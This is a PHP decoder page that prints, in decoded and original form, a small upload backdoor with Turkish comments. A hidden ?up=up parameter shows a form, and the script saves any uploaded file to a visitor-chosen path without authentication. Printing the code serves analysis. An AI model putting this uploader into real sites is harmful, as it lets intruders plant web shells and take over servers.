Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_GET['up']) && $_GET['up'] == 'up') { // Formu gster echo '<..

Decoded Output download

<?php 
 
if (isset($_GET['up']) && $_GET['up'] == 'up') { 
    // Formu gster 
    echo '<html><head><title>Upload files...</title></head><body><form method="POST" enctype="multipart/form-data" action=""><input type="text" name="path"><input type="file" name="files"><input type="submit" value="Up"></form></body></html>'; 
} else { 
    // Dosya ykleme ilemi 
    $files = @$_FILES["files"]; 
    if ($files["name"] != '') { 
        $fullpath = $_REQUEST["path"] . $files["name"]; 
        if (move_uploaded_file($files['tmp_name'], $fullpath)) { 
            echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; 
        } 
    } 
} 
?>

Did this file decode correctly?

Original Code

<?php

if (isset($_GET['up']) && $_GET['up'] == 'up') {
    // Formu gster
    echo '<html><head><title>Upload files...</title></head><body><form method="POST" enctype="multipart/form-data" action=""><input type="text" name="path"><input type="file" name="files"><input type="submit" value="Up"></form></body></html>';
} else {
    // Dosya ykleme ilemi
    $files = @$_FILES["files"];
    if ($files["name"] != '') {
        $fullpath = $_REQUEST["path"] . $files["name"];
        if (move_uploaded_file($files['tmp_name'], $fullpath)) {
            echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
        }
    }
}
?>

Function Calls

None

Variables

$files None

Stats

MD5 bbcc1319b88a3dc099f8deeafe45500a
Eval Count 0
Decode Time 65 ms